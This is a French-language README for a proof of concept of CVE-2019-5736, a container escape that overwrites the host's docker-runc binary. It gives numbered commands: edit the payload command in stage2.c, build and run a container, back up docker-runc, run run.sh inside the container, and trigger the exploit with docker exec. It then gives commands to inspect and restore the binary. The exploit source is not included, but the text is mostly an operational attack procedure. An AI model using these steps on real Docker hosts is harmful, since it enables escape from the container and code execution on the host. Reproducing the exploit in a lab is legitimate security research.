cve-2019-5736-poc

Pour exécuter :

• (1). modifier la commande poc dans stage2.c
• (2). construire docker docker build -t cve .
• (3). exécuter docker docker run -d cve /bin/bash -c "tail -f /dev/null"
• (4). sauvegarder docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
• (5). docker exec -it docker-id /bin/bash
• (6). dans docker, exécuter cd /root && ./run.sh && exit
• (7). docker exec -it docker-id /bin/bash, bingo !!

exécuter `strings /usr/bin/docker-runc | tail -n 2` pour voir docker-runc  

exécuter `cp /usr/bin/docker-runc.bak /usr/bin/docker-runc` pour restaurer docker-runc